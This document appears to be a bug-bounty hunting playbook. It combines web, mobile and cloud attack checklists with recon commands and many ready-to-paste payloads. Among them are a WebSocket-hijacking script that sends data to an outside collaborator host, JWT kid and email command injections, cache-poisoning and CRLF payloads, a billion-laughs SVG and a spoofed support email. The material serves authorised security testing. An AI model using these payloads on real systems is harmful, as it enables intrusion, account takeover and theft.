• Azure Blob: public container access
• AWS metadata via SSRF: 169.254.169.254/latest/meta-data
• Exposed GCP service account keys
• Lambda with overly permissive IAM role
• EC2 user-data scripts containing credentials
• Public Elasticsearch / Kibana (no auth)
• Docker API exposed on TCP 2375/2376
• Kubernetes API server exposed (6443, 8080)
• Exposed Firebase real-time DB (world-readable)
• GitHub Actions secrets leakage via OIDC misconfig
• Misconfigured CloudFront / CDN cache poisoning

1. Find an open S3 bucket (dorks: site:s3.amazonaws.com "company").
2. Search for sql, sql.gz, backup.zip, backup.gz, backup.tar, backup.tar.gz + any valuable files.
3. Automate with S3Scanner: git clone git@github.com:sa7mon/S3Scanner.git → cd S3Scanner → pip3 install -r requirements.txt → python3 -m S3Scanner.

Apps re-serve the same backend with extra exposure: hardcoded secrets, exported components, insecure WebViews and weak pinning.

• Decompile APK with JADX / apktool
• Hardcoded API keys / credentials in source
• Exported Activities / Services / Broadcast Receivers
• Insecure data storage: SharedPreferences, SQLite, external
• Improper WebView config (JS enabled, file access)
• WebView host validation bypass → XSS / LFI
• Insecure deep link handling
• Insecure cert validation / SSL pinning bypass
• Sensitive data in logs (adb logcat)
• Insecure IPC: Intent sniffing, broadcast abuse
• Root detection bypass with Frida / Magisk
• Cert pinning bypass with Frida scripts
• Backup enabled exposing app data
• Traffic analysis via MitM (Burp proxy on device)

• Analyze IPA: unzip & inspect binary/resources
• Hardcoded credentials in Plist files
• Insecure Keychain storage
• Sensitive data in NSUserDefaults
• Insecure network calls (ATS disabled)
• Jailbreak detection bypass via Frida
• SSL pinning bypass (SSL Kill Switch / Frida)
• URL scheme hijacking
• Pasteboard data leakage

Chains turn medium bugs into criticals. The Signs framework: Open Redirect? (→ paths / subdomains / domains) · Reflected user-controlled data? (→ HTMLi / XSS / SSTI) · CSRF? (tokens not invalidated? → what can we do with this endpoint? is it an open redirect?) · Change HTTP verb? (works the same? are params rejected?).

• SSRF + IDOR → internal data exfiltration
• Open redirect + OAuth → token theft
• Reflected XSS → steal CSRF token → CSRF attack
• CORS misconfig + XSS → account takeover
• Path traversal + LFI → RCE via log poisoning
• Subdomain takeover → stored XSS → session hijacking
• Race condition on password reset → account takeover
• HTTP request smuggling → cache poisoning → stored XSS
• JWT confusion → privilege escalation → admin

1. Open Redirect?
   ~ Can you redirect to different paths?
   ~ Can you redirect to different subdomains?
   ~ Can you redirect to different domains?

2. Reflected user controlled data?
   ~ HTMLi?  ~ XSS?  ~ SSTI?

3. CSRF?
   (tokens not invalidated when sent or on logout)
   ~ What can we do with this endpoint?
   ~ Is this endpoint an open redirect?

4. Change HTTP Verb?
   ~ Does the endpoint work the same when the verb changes?
   ~ Are any parameters rejected?

Desync between front-end and back-end parsing (CL.TE / TE.CL / TE.TE) can poison caches, bypass access controls, and hijack requests. Detection flow (Burp):

1. Right-click the FQDN → Smuggle Probe (Burp HTTP Request Smuggler extension).
2. If found, open the Issue → Request 1 tab → select CL.TE or TE.CL. (Multiple directories? Expand and click the correct path.)
3. Edit the prefix to meet payload requirements.
4. Attack.

• CL.TE desync: Content-Length vs Transfer-Encoding
• TE.CL desync: frontend TE, backend CL
• TE.TE desync: both parse TE but differently
• HTTP/2 downgrade smuggling
• Cache poisoning via smuggled requests
• Bypass front-end access controls via smuggling

Pollute Object.prototype via __proto__[foo]=bar → XSS via gadget chains, or RCE via child_process.spawn on the server.

• Client-side PP via URL query params
• Server-side PP in Node.js apps
• PP → XSS via gadget chains
• PP → RCE via child_process.spawn
• Detect via __proto__[foo]=bar / Object.prototype pollution

1. Identify the vulnerability with a payload/scanner.
2. Find vulnerable gadgets — Fingerprint.js, Wappalyzer, BuiltWith. Check gadget list at gist.github.com/nikitastupin/b3b64a9f8c0eb74ce37626860193eaec.
3. If no gadgets → check the Untrusted-Types plugin in DevTools console.

Serialized blobs from untrusted input → object injection → RCE. Detect language first, then attack the byte stream.

1. Identify language + how it serializes: PHP O:4:"User":2:{...} · Java starts with ac ed (hex) / rO0 (base64) · Ruby (Marshal).
2. Find serialized data controlled by user input (cookies, hidden fields, API bodies).
3. Attack: ① edit object directly in its byte-stream form ② script your own serializer in the app's language ③ use a tool — PHP → PHPGCC (./phpgcc [PAYLOAD] [PARAMS] | base64 -w 0), Java → ysoserial (URL-encode whole payload through cookie), Ruby → tbd.

1. Parse source for keywords: PHP serialize() / unserialize() · Java java.io.Serializable / readObject() / InputStream.

• Java deserialization (ysoserial payloads)
• PHP object injection via __wakeup / __destruct
• Python pickle deserialization
• .NET ViewState deserialization
• Node.js serialize/unserialize package exploitation
• YAML deserialization (PyYAML)

OAuth flow: Authorization Request → User Consent → Authorization Code Grant → Access Token Request → Token Grant → API call → Resource grant. Hunting steps:

1. Search traffic for client_id, redirect_uri, response_type, state.
2. Hit known OAuth endpoints: /.well-known/oauth-authorization-server, /.well-known/openid-configuration.
3. Identify grant type: Authorization Code (response_type=code) vs Implicit (response_type=token, common in SPAs).
4. Abuse misconfigs: no state → CSRF (worst when linking accounts); steal code/token via redirect_uri; upgrade scope (register malicious app → victim approves limited scope → POST /token with expanded scope); sign up with victim's email → account takeover.

# 1. Authorization Request (params: client_id / redirect_uri / response_type / scope / state)
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com

# 2. User Consent

# 3. Authorization Code Grant (params: code / state)  → vulnerable to CSRF
GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com

# 4. Access Token Request (params: client_secret / grant_type / client_id / redirect_uri / code)
POST /token HTTP/1.1
Host: oauth-authorization-server.com
Content-Type: application/x-www-form-urlencoded

client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8

# 5. Access token grant → Bearer token
# 6. API call → Authorization: Bearer [TOKEN]
# 7. Resource grant → sensitive data

1. Redirect to any domain
2. Redirect to any subdomain
3. Redirect to specific domains
4. One domain, all paths
5. One domain, specific paths
6. One domain, one path
7. Whitelisted domains/paths based on Regex
8. Can add parameters / specific params / none

# Step 1: send malicious url with poisoned redirect_uri
# Step 2: read code/token in response
# Step 3: substitute stolen code/token when logging in
# Note: if redirect_uri is echoed with the code/token, server likely NOT vulnerable

<script>
  if (document.location.hash){
    console.log("Hash identified -- redirecting...");
    window.location = '/?'+document.location.hash.substr(1);
  } else {
    console.log("No hash identified in URL");
  }
</script>

# id_token = JWT. Keys on /.well-known/jwks.json
# Config on /.well-known/openid-configuration
# response_type=id_token token | id_token code

# 1. Check for dynamic registration (auth required? Bearer token?)
# 2. Craft malicious registration payload for SSRF

WebSockets: messages are intercepted in Burp like HTTP. Manipulate the handshake to expand attack surface (clone/reconnect via the pencil icon), then hunt design flaws: misplaced trust in HTTP security headers, session handling flaws, expanded surface with custom headers. CSWSH: handshake has no CSRF/unpredictable token + session via cookie → hijack socket. Remember: Sec-WebSocket-Key does NOT authenticate.

<script>
  websocket = new WebSocket('wss://your-websocket-URL')
  websocket.onopen = start
  websocket.onmessage = handleReply
  function start(event) { websocket.send("READY"); }
  function handleReply(event) {
    fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
  }
</script>

1. Identify the app: supply an arbitrary domain in the Host header — if it still loads, the server defaults to your target; else look at the "Invalid Host header" response / security controls / non-numeric port Host: vulnerable-website.com:bad-stuff-here.
2. Duplicate Host headers, absolute URL in request line, spacing to bypass filters ( Host: bad-stuff-here), or combine with request smuggling.
3. Try alternates: X-Forwarded-Host, X-Host, X-Forwarded-Server, X-HTTP-Host-Override, Forwarded (guess more with Burp Param Miner).
4. Exploit → Password Reset Poisoning: submit reset with Host = attacker domain → victim's reset link sends token to attacker's server → use stolen token. If you can't manipulate the reset link, try HTMLi in the email to add your own domain.

GET /example HTTP/1.1
Host: vulnerable-website.com
Host: bad-stuff-here

GET https://vulnerable-website.com/ HTTP/1.1
Host: bad-stuff-here

GET /example HTTP/1.1
 Host: bad-stuff-here
Host: vulnerable-website.com

GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: bad-stuff-here

Subdomain points to an external service (GitHub Pages, Heroku, S3) that's no longer claimed → hijack it. Check CNAMEs pointing to defunct hosts; verify candidates with the can-i-take-over-xyz fingerprints.

subzy run --targets subdomains.txt --concurrency 100 --hide_fails --verify_ssl

Ask these before sending a single payload. Answers tell you what's likely broken.

• What stack / languages are used?
• What server is running the application?
• Is there a WAF?
• Additional libraries? Known exploits? Custom JS libraries?
• Is there authentication? (OAuth through Google/Facebook)
• What objects are used?
• How is session established?
• Are there useful comments?
• How does it handle special characters?
• Can you trigger any error messages?
• What common features are present?
• How is a user identified?
• Are there multiple user roles?
• Is there an API?
• Is there a Content Management System?
• Is there a Content Security Policy?
• Is CORS implemented?
• Is Captcha used?
• Are WebSockets used?
• Is the source code publicly available?

• What ports are open?
• What services are running on those ports?
• Is it hosted in the cloud?
• Is it hosting multiple apps using VHosting?
• What is the OS?
• Can you get the kernel version?

• What part of CRUD is this?
• What HTTP request methods can be used? (GET/POST/PUT/DELETE...)
• What parameters can be used?

Which tool for which bug — the master cheat-sheet.

The priced playbook tells you exactly what's worth your time. Automation loop: find vuln (nuclei) → pull analytics (already reported?) → POST report via API → screenshot (imagemagick) → PUT attach → POST submit. Target types: Wide-scope w/ subdomains = wait for them to come to you, move quick on New/Updated. Large app w/ creds = go find bugs, slow + methodical + manual.

A clean, reproducible report is half the payout. Fill the template → Copy → paste into the platform. Check for duplicates first!

• Clear title: vulnerability type + component
• Severity rating with CVSS justification
• Affected URL / endpoint / component
• Numbered reproduction steps
• PoC: curl command, Burp request, or video
• Impact: attacker ability + blast radius
• Supporting evidence: screenshots
• Specific, actionable remediation
• References: CWE, OWASP Top 10, CVE
• Test environment details (browser, OS, account)
• In-scope per program policy
• Checked for duplicates before submitting
• Responsible disclosure timeline respected

From the OSINT, Reconnaissance & Attack Surface Mapping playbook. Attack surface = the sum of every entry point, grown horizontally (more hosts/subdomains) and vertically (deeper detail per host). Budget 60–70% of engagement time on recon — that's where most bounties are found.

• subfinder / amass / bbot passive sweep run
• Certificate Transparency (crt.sh) logs mined
• GitHub / GitLab code & repo leaks searched
• ASN + WHOIS org scope mapped (amass intel)
• Favicon hashed and pivoted on Shodan
• Cloud buckets enumerated (cloud_enum / GCPBucketBrute)
• DNS brute-force + mass resolution done (puredns)
• Port scan on common web + DB ports (naabu)
• HTTP probing with tech fingerprint (httpx -tech-detect)
• JS files mined for endpoints & secrets
• Parameters fuzzed (ParamSpider / arjun / Param Miner)
• API paths & Swagger/OpenAPI endpoints enumerated
• Subdomain takeover checks run (subzy / can-i-take-over-xyz)
• Screenshots captured (gowitness)
• All results consolidated, deduped & prioritized

subfinder -d example.com -all -o subs.txt
amass enum -d example.com -passive
bbot -t example.com -p subdomain-enum -o /tmp/scan
findomain -t example.com -q

curl "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u

org:"Company Name" filename:.env
org:"Company Name" "api_key" OR "internal" OR "password"
user:target_employee filename:config
gh search code --query="org:examplecorp api_key"

amass intel -org "Company Name"
whois example.com
whois -h whois.radb.net -- "-i origin AS13335"

python3 -c "import mmh3,codecs; print(mmh3.hash(codecs.encode(open('favicon.ico','rb').read(),'base64')))"
# Shodan:  http.favicon.hash:[YOUR_HASH]
# ZoomEye: icon_hash:[YOUR_HASH]

puredns bruteforce wordlist.txt example.com -r resolvers.txt --wildcard-tests 50 -o resolved.txt
puredns resolve subs.txt -r resolvers.txt
dnsx -l resolved.txt -resp

naabu -l hosts.txt -p 80,443,8000,8080,8443,3000,4000,5000,6000,9000,3306,5432,6379,27017 -o ports.txt
naabu -l hosts.txt -top-ports 1000 -o all_ports.txt

httpx -l hosts.txt -status-code -title -tech-detect -follow-redirects -o alive.txt
gowitness scan file -f alive.txt --screenshot-path shots/

python3 cloud_enum.py -k example -k corp -k internal
python3 GCPBucketBrute.py -k examplecorp -l wordlist.txt
aws s3 ls s3://bucket-name/ --region us-east-1 --no-sign-request

# tools: JSpector, JS Miner, JS Link Finder, LinkFinder
grep -r "fetch(\|axios\.\|api/" *.js | grep -oP '(https?:)?//[^\s"'\''`]+' | sort -u
grep -rE "(api[_-]?key|secret|token|password|aws_|AKIA)" *.js

paramspider.py -d example.com --stream -o params.txt
arjun -u https://example.com -o found_params.txt
# Burp extension: Param Miner

ffuf -w dirs.txt -u https://example.com/FUZZ -ac -mc 200,201,204,301,302,307,401,403,405,500
httpx -l subs.txt -path /api/ -status-code
ffuf -w api-paths.txt -u https://example.com/FUZZ -mc 200

subzy run --targets alive.txt
# reference: https://github.com/EdOverflow/can-i-take-over-xyz

bbot --install-all-deps   # first time only
bbot -t example.com -f subdomain-enum cloud-enum web-thorough email-enum -o /tmp/scan --web --httpx
bbot -t example.com --present --verbose
# results load into Neo4j for graph queries

nuclei -update-templates
nuclei -l alive.txt -t cves,misconfiguration,exposure,default-logins -o vulns.txt -stats
nuclei -l alive.txt -tags sqli,xss,rce,ssrf -severity high,critical -o critical.txt

subfinder -d example.com -all | httpx -silent -status-code | nuclei -t cves,exposure -silent

org:"Company Name" port:80,443,8080
ssl.cert.subject.cn:example.com
http.favicon.hash:[HASH]
hostname:*.example.com
http.title:"Dashboard" org:"Company Name"
http.html:"api" http.title:"Swagger UI"

wafw00f https://example.com
ffuf -w wordlist.txt -u https://example.com/FUZZ -rate 50 -p 0.1-0.2
httpx -l hosts.txt -c 10 -timeout 10
# rotate resolvers + user-agents to avoid DNS/HTTP fingerprinting

Full 2FA bypass checklist. Attack both the verification flow (response/status manipulation, OTP reuse) and the lifecycle (enabling/disabling 2FA, backup codes, session handling).

• Response / status-code manipulation
• Brute-force the OTP
• OTP does not expire after usage (replay)
• Request 2 tokens from account A and B → use A's token in B's account
• Go directly to dashboard URL without solving 2FA; else add the 2FA-page Referer header to the dashboard request
• Search the 2FA code in responses / JS files (Burp search)
• CSRF / Clickjacking to disable 2FA
• Enabling 2FA doesn't expire previous sessions
• Login via OAuth to bypass 2FA (mostly N/A)
• No 2FA required to disable 2FA
• Password reset via forgot-password without 2FA
• Enter zeros (000000 for a 6-digit code)
• Request manipulation: null JSON response, otprequired true→false, remove the code, remove code+param, email as array
• OpenID misconfiguration to bypass 2FA
• Code doesn't expire after 4–5 hours
• Backup code facility abuse (generate after login)
• 2FA page discloses sensitive info (e.g. phone number)
• Permanent DoS on unregistered users: register victim email (no verification) + enable 2FA → victim locked out
• Perform authenticated requests (profile/API) without solving 2FA
• OTP bypass in JSON: send code as an array of values
• Backup code abuse using all the above methods

POST /api/enable-2fa HTTP/1.1
Host: target.com
...

{"action":"backup_codes","email":"victim@gmail.com"}

{
    "code":[
        "1000",
        "1001",
        "1002",
        ...
        "9999"
    ]
}

Bypass techniques for CAPTCHA-gated actions (login, register, OTP). Treat the captcha as just another parameter the backend may not actually verify.

• Response manipulation
• Reuse a previously used captcha value
• Use any token with the same length (+1 / -1)
• Remove the param value or the entire parameter
• Change method POST → GET (or PUT) and remove the captcha
• Change body to JSON or vice-versa
• OCR the captcha
• Captcha visible in source code (e.g. 2+2)
• Captcha value present in the source code
• Reuse the same captcha with different session IDs
• JSON body? Combine method change + body format change
• Add spoofing headers (see below)

X-Forwarded-Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1

CSRF-defense bypass checklist — the deeper, token-level counterpart to the general CSRF phase. Pairs with the Referrer regex bypass and type juggling tricks below.

• Remove the entire token parameter (with value) or just the value
• Use any random token of the same length
• Use a random (length−1) or (length+1) token
• Use attacker's token in victim's session
• Change POST → GET and remove the token
• Method override via _method=PUT
• Token sent via custom header? Remove the header
• Change Content-Type (json / urlencoded / multipart / xml)
• Double-submit cookie token → CRLF injection
• Referrer only checked if present → meta referrer="never"
• Regex Referrer bypass patterns
• Token stealing via XSS / HTMLi / CORS
• JSON endpoint: text/plain, urlencoded, multipart; flash + 307 redirect
• Guessable CSRF token
• Clickjacking to bypass a strong token
• Type juggling
• Set the token to "null" or add null bytes
• Token sent over HTTP or to a 3rd party (leak)
• Generate multiple tokens → find & fix the static part, play with the dynamic part

POST /profile/update HTTP/1.1
Host: example.com
...

_method=PUT

<meta name="referrer" content="never">

https://attacker.com?target.com
https://attacker.com;target.com
https://attacker.com/target.com/../targetPATH
https://target.com.attacker.com
https://attackertarget.com
https://target.com@attacker.com
https://attacker.com#target.com
https://attacker.com\.target.com
https://attacker.com/.target.com

Account-takeover hunting through the password reset flow — token handling, host manipulation, parameter pollution, crypto and logic flaws.

• Password reset poisoning
• HTTP Parameter Pollution on email
• IDOR on the reset endpoint; discover extra params with ParamMiner
• Broken crypto — guess how reset tokens are generated
• Token leakage via Referer header (click external links on reset page)
• Token leakage in responses / JS files
• Session/token not expiring after password reset
• Weak password policy — single space as password
• Request 2 reset links, use the older one
• Host manipulation in the reset URL
• SQLi in email field (sleep-based)
• CRLF in reset URL → Host header injection
• Register with whitespace-padded victim username (CVE-2020-7245)
• Application-level DoS — very long password → delay/5xx
• OTP-based reset? Apply the 2FA bypass techniques
• Homograph email during registration → reset
• Change request method / content-type and observe
• Append null bytes after your email
• XSS / SSTI in the email field
• Command injection in email field (backtick)
• 2FA auto-disabled after password reset
• User enumeration
• Param value reflected in the email → HTMLi
• XXE if forgot-password accepts XML
• Missing rate limit on email triggering

email=victim@gmail.com&email=attacker@gmail.com
email[]=victim@gmail.com&email[]=attacker@gmail.com
email=victim@gmail.com%20email=attacker@gmail.com
email=victim@gmail.com|email=attacker@gmail.com
{"email":"victim@gmail.com","email":"attacker@gmail.com"}
{"email":["victim@gmail.com","attacker@gmail.com"]}

POST https://attacker.com/resetpassword.php HTTP/1.1
POST @attacker.com/resetpassword.php HTTP/1.1
POST :@attacker.com/resetpassword.php HTTP/1.1
POST /resetpassword.php@attacker.com HTTP/1.1

# SQLi in email
test@test.com'+(select*from(select(sleep(2)))a)+'

# CRLF host header injection
/resetpassword?%0d%0aHost:%20attacker.com

# Command injection in email
email=hello@`whoami`.xyz.burpcollaborator.net

Rate-limit bypass for brute-force and email-bomb scenarios — IP spoofing, body/method mutation and the classic 127.0.0.2 trick.

• IP Rotator extension to change IP each request
• Spoofing headers (X-Forwarded-For etc.)
• Try 127.0.0.2, 127.0.0.3... instead of 127.0.0.1
• Double X-Forwarded-For header
• Change user-agent / cookies
• Append null bytes to endpoint (POST /forgot-password%20) or param value
• Race condition (parallel requests)
• Add random parameters to the request
• Change body format (Form → JSON / XML / vice-versa)
• Change request method (POST → PUT / GET)
• Captcha-based protection → apply captcha bypass techniques
• Gmail + and . address trick
• Change API version (api/v2 → api/v1)

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Forwared-Host: 127.0.0.1

# double header
X-Forwarded-For:
X-Forwarded-For: 127.0.0.1

POST /forgot-password?fake=1 HTTP/1.1
Host: target.com
...

email=victim@gmail.com&alsofake=2

JWT attack checklist: signature verification gaps, algorithm confusion and the vulnerable kid parameter (URL / file / command injection / SQLi).

• Signature not checked → modify the body
• Signature checked only if present → delete the signature
• Weak signature → brute-force the secret
• None algorithm attack (alg: none / nONE / NONE)
• RS256 → HS256 with the public key (find key via recon)
• kid → your own URL so the app fetches YOUR key
• kid → publicly accessible file (path traversal)
• kid → command injection
• kid → SQL injection

ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key
openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRS256.key.pub

"kid":"http://localhost/key.pem"  →  "kid":"http://xyz.ngrok.io/jwtRS256.key"

# publicly accessible file to verify the token
"kid":"app/secret.pem"  →  "kid":"../../public/main.css"

# command injection
"kid":"app/secret.pem && curl http://bing.com &"

# SQLi
"kid":"hello UNION SELECT 'key';--"

git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install -r requirements.txt
python3 jwt_tool.py -M at -t "https://api.example.com/api/v1/profile" -rh "Authorization: Bearer <JWT Token>"

OAuth attack checklist — complements the general OAuth & OpenID phase with the redirect_uri / state / email-parameter tricks below.

• Open redirect → token stealing via redirect_uri (bing.com, IDN homograph, bypasses)
• Change Referer header while requesting OAuth
• Pre-account takeover: register victim email normally + via OAuth → login with old credentials
• OAuth token re-use
• Missing / broken state parameter (CSRF)
• Lack of origin check on postMessage
• Open redirect on another endpoint → chain via redirect_uri
• Extra params after sign-in (email=...) → swap to victim's email
• Remove email from scope, add victim's email manually
• Company email only? hd=company.com → hd=gmail.com
• client_secret in Burp search / GitHub dorks
• Token present in browser history
• Facebook OAuth misconfiguration (abuse)

GET /oauth/token/google HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
...
Referer: https://evil.com

<script>
  function listener(event) {
    alert(JSON.stringify(event.data));
  }

  var dest = window.open("https://target.com/social-login/redirect/google");

  window.addEventListener("message", listener);
</script>

Help-desk exploitation: spoofed email-change requests, @target.com accounts and the ticket system as an email-reading primitive for account takeover.

• Similar-email account (victim70 vs victim71) + fake mailer → request email change
• Create account with @target.com email → check for higher privileges (view others' tickets)
• Ticket trick: email support+ticketID@company.com from attacker2 → visible on attacker1's portal
• Use support+ticketID@company.com to sign up for Slack / Yammer private workspaces
• Create ticket via email → portal shows it (no email verification)
• Read tickets created by any email → takeover 3rd-party accounts (Twitter/GitHub/Instagram)

From: victim70@gmail.com
Reply To: victim71@gmail.com
To: support@target.com
Subject: Change my E-mail address
Message:
Hello,
 My real email address is victim71@gmail.com. I mistakenly entered
 wrong email id (victim70@gmail.com) which I don't use anymore. So I
 kindly request you to change my email address from victim70@gmail.com
 to victim71@gmail.com.

Thanks & Regards
Victim

1. Create an account on target.com with verify@twitter.com
   (if email verification is not enforced).
2. Request a password reset for the email support@target.com.
3. An email from verify@twitter.com is sent to support@target.com
   containing the code.
4. A support ticket is created with the email body — view it
   on the support portal to get the reset code.

Application-level (not volumetric) DoS — expensive parsing, missing limits and provider-level email abuse. Always scope-compliant & gentle: prefer time-based proof.

• Email invite to invalid address → hard-bounce → ESP blocks the company (AWS SES / Hubspot ~5%)
• Very long password (password.txt) → >10s delay or 5xx
• Very long stored string in any DB field → search from victim's account → delay/5xx
• Image upload DoS (lottapixel.jpg, uber.gif, bllionlaugh.svg)
• WordPress CVE-2018-6389 (load-scripts.php)
• Apache byte-range DoS (Apache 1.3.x, 2.0.x<2.0.64, 2.2.x<2.2.19)
• Web cache poisoning → redirect to an invalid port
• Null bytes (%00, %0d%0a, %0d, %0a, %09, %0C, %20) in input fields
• Abusing Referer cookie → WAF self-DoS of victim
• Upload very large file → memory; if blocked, try redirection
• Missing rate limit on register/contact → memory corruption
• Permanent DoS on unregistered users (account lockout + 2FA #18)
• Send message → delete attacker's account → open victim's inbox
• JSON endpoint → send null as a field value

<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<svg>
<lolz>&lol9;</lolz>
</svg>

Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,...5-199,5-200,...

1. Create https://attacker.com/page.html which redirects to target.com.
2. Send victim: https://attacker.com/page.html?%22%3E%3Cscript%3Ealert(1)%3C/script%3E
3. Victim gets redirected to target.com but a cookie is set:
   referrer=https%3A%2F%2Fattacker.com%2Fpage.html?%22%3E%3Cscript%3Ealert(1)%3C/script%3E
4. WAF now blocks the victim because of the XSS payload in the cookie.

A working recon pipeline: from a list of root domains to a de-duplicated, response-dumped attack surface ready for manual testing.

• Collect scoped root domains (official + in-scope assets)
• Passive subdomain enum (CT logs, OSINT, GitHub)
• Active subdomain brute-force
• Mass DNS resolution to live IPs
• Merge & de-duplicate everything (sort -u)
• HTTP probe + dump raw responses for offline review
• Prioritize interesting hosts for manual testing
• Roadmap: IP-based branch — full port scan + service/version fingerprint + default creds & known-CVE check

For authorised security testing only — targets you have explicit written permission to test, within the scope defined by the program.

401/403 bypass techniques. The server denies the request at the edge (reverse proxy / WAF) — the goal is to make the backend resolve the same protected resource through a path the gatekeeper doesn't recognize.

• X-Original-URL / X-Rewrite-URL headers to reach protected path
• Append %2e after path segment (/admin%2e)
• Add slash / dot / semicolon after path (/admin%2f, /admin%2e, /admin%3b)
• admin..;/ technique (Apache trailing-dot aliasing)
• Uppercase / mixed-case path variants (/Admin, /ADMIN)
• Web cache poisoning variant (cache a public page for the restricted URL)
• Automate the whole sweep with bypass-403

GET /admin HTTP/1.1
Host: example.com
X-Original-URL: /admin

GET / HTTP/1.1
Host: example.com
X-Rewrite-URL: /admin

/admin%2e
/admin%2f
/admin%2e%2f
/admin%3b
/admin%3f
/admin%23
/admin%20
/admin./
/admin..;
/admin..;/
/;/admin
/./admin
/admin/..
/admin//
/%2f/admin
//admin
/%2e/admin
/admin%2e%2e/
/ADMIN
/AdMiN

git clone https://github.com/daffainfo/bypass-403
cd bypass-403
go build
./bypass-403 -u https://example.com -p /admin

CSRF cousin where the vulnerable app itself issues the cross-origin request. We control a reflected value inside a src-style attribute and point it at a sensitive GET endpoint — the request carries the visiting user's cookies.

• Find reflected input in src attributes: <img>, <video>, <audio>, <iframe>
• Find sensitive state-changing endpoints that accept GET
• Replace the reflected filename/path with the sensitive endpoint + params
• Verify by visiting the payload profile as a second victim account

# 1. The sensitive action (cookies, no CSRF token):
GET /change_password.php?new_password=Testing123 HTTP/1.1
Host: example.com

# 2. Upload profile picture, set the filename to the payload:
Content-Disposition: form-data; name="filename"
change_password.php?new_password=Testing123

# 3. Victim's profile renders:
<img src="../change_password.php?new_password=Testing123">

# 4. Any visitor's password silently changes to Testing123.

Poisoning: make the cache store a harmful response served to other users. Deception: trick a caching proxy into caching private data. Look for headers like X-Cache, Cf-Cache-Status, Via, Age and Vary to spot a caching layer.

• Basic: X-Forwarded-Host reflected into HTML → inject XSS / evil src
• Seizing the cache: X-Host / X-Forwarded-Server reflected into script src
• Selective poisoning: unkeyed header only reflected to a matching User-Agent
• Chain unkeyed inputs: X-Forwarded-Host (Set-Cookie) + X-Forwarded-Scheme (redirect)
• Route poisoning: X-Forwarded-Server → 404 page that embeds our data
• Hidden route poisoning: X-Forwarded-Host → redirect Location header

• Append cacheable extension: /profile/setting/.js
• Add ; before extension: /profile/setting/;.js
• Confirm Cf-Cache-Status / X-Cache flips to HIT, then open URL in incognito

GET / HTTP/1.1
Host: www.vuln.com
X-Forwarded-Host: a."><script>alert(1)</script>

# Cached response stored & served to everyone:
<img href="https://a."><script>alert(1)</script>a.png" />

GET / HTTP/1.1
Host: unity3d.com
X-Host: evil.com

HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
...
<script src="https://evil.com/x.js">

GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: xyz

Set-Cookie: locale=en; domain=xyz

GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Scheme: nothttps

HTTP/1.1 301 Moved Permanently
Location: https://redacted.net

GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: nothttps

HTTP/1.1 301 Moved Permanently
Location: https://attacker.com/en

GET /profile/setting/.js HTTP/1.1
Host: www.vuln.com

HTTP/2 200 OK
Content-Type: text/html
Cf-Cache-Status: HIT
...
# Now open the URL incognito → victim's private page served from cache.

Inject \r\n into a parameter that lands in a response header → forge headers (Set-Cookie, Location) or split the response body. Hunt on every request/response pair; redirect responses (301/302/303/307/308) are prime suspects.

• Inject %0d%0a into params reflected in headers (Location, Set-Cookie)
• Double-encode %250d%250a for decode-once backends
• Unicode overlong encoding %e5%98%8a%e5%98%8d (UTF-8 CR/LF)
• Forge headers: Location redirect, Set-Cookie session fix, body injection

https://example.com/?lang=en%0D%0ALocation:%20https://evil.com/

https://example.com/?lang=en%250D%250ALocation:%20https://evil.com/

https://example.com/?lang=en%E5%98%8A%E5%98%8DLocation:%20https://evil.com/

# Response (forged header):
HTTP/1.1 200 OK
Set-Cookie: language=en
Location: https://evil.com/

The server parses <!--#directive --> in .shtml pages. If user input is reflected into one, you can echo variables, read files, and on some servers execute commands.

• Identify .shtml pages or any input reflected into server-parsed files
• Try echo date / printenv as a detection primitive
• Escape into include file / exec cmd payloads

